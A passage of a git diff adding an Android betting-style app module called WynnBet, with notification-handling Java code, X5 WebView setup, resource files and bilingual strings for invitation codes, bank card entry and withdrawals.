NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/wynnbet/src/main/java/com/web/wynnbet/WebApplication.java b/wynnbet/src/main/java/com/web/wynnbet/WebApplication.java new file mode 100644 index 0000000..f2784b3 --- /dev/null +++ b/wynnbet/src/main/java/com/web/wynnbet/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.wynnbet; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/wynnbet/src/main/res/drawable-anydpi/ic_action_back.xml b/wynnbet/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/wynnbet/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/wynnbet/src/main/res/drawable-hdpi/ic_action_back.png b/wynnbet/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/wynnbet/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/wynnbet/src/main/res/drawable-mdpi/ic_action_back.png b/wynnbet/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/wynnbet/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/wynnbet/src/main/res/drawable-v24/ic_launcher_foreground.xml b/wynnbet/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/wynnbet/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/wynnbet/src/main/res/drawable-xhdpi/ic_action_back.png b/wynnbet/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/wynnbet/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/wynnbet/src/main/res/drawable-xxhdpi/ic_action_back.png b/wynnbet/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/wynnbet/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/wynnbet/src/main/res/drawable/big_bg.xml b/wynnbet/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..67c9a80 --- /dev/null +++ b/wynnbet/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/wynnbet/src/main/res/drawable/ic_launcher_background.xml b/wynnbet/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/wynnbet/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/wynnbet/src/main/res/drawable/input_bg.xml b/wynnbet/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/wynnbet/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/wynnbet/src/main/res/drawable/pass_word_bg.xml b/wynnbet/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/wynnbet/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/wynnbet/src/main/res/drawable/pass_word_bg1.xml b/wynnbet/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/wynnbet/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/wynnbet/src/main/res/drawable/pass_word_bg2.xml b/wynnbet/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/wynnbet/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/wynnbet/src/main/res/drawable/shape_btn_bg.xml b/wynnbet/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/wynnbet/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/wynnbet/src/main/res/drawable/shape_dialog_bg2.xml b/wynnbet/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/wynnbet/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/wynnbet/src/main/res/drawable/shape_dialog_bg3.xml b/wynnbet/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/wynnbet/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/wynnbet/src/main/res/drawable/shape_dialog_bg_new.xml b/wynnbet/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/wynnbet/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/wynnbet/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/wynnbet/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/wynnbet/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/wynnbet/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/wynnbet/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/wynnbet/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/wynnbet/src/main/res/mipmap-hdpi/ic_empty.png b/wynnbet/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/wynnbet/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/wynnbet/src/main/res/mipmap-hdpi/ic_pull_down.png b/wynnbet/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/wynnbet/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/wynnbet/src/main/res/mipmap-xhdpi/ic_close.png b/wynnbet/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/wynnbet/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/wynnbet/src/main/res/mipmap-xhdpi/ic_menu.png b/wynnbet/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/wynnbet/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/wynnbet/src/main/res/mipmap-xxhdpi/app_logo.jpg b/wynnbet/src/main/res/mipmap-xxhdpi/app_logo.jpg new file mode 100644 index 0000000..fc93585 Binary files /dev/null and b/wynnbet/src/main/res/mipmap-xxhdpi/app_logo.jpg differ diff --git a/wynnbet/src/main/res/values-en/strings.xml b/wynnbet/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/wynnbet/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/wynnbet/src/main/res/values-night/themes.xml b/wynnbet/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/wynnbet/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/wynnbet/src/main/res/values/colors.xml b/wynnbet/src/main/res/values/colors.xml new file mode 100644 index 0000000..e88bba3 --- /dev/null +++ b/wynnbet/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #0c463a + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/wynnbet/src/main/res/values/strings.xml b/wynnbet/src/main/res/values/strings.xml new file mode 100644 index 0000000..7723d44 --- /dev/null +++ b/wynnbet/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + WynnBet + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/wynnbet/src/main/res/values/themes.xml b/wynnbet/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/wynnbet/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/wynnbet/src/main/res/xml/app_updater_paths.xml b/wynnbet/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/wynnbet/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/wynnbet/src/main/res/xml/network_security_config.xml b/wynnbet/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/wynnbet/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/wynnbet/src/main/res/xml/provider_paths.xml b/wynnbet/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/wynnbet/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/wynnbet/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/wynnbet/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/wynnbet/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file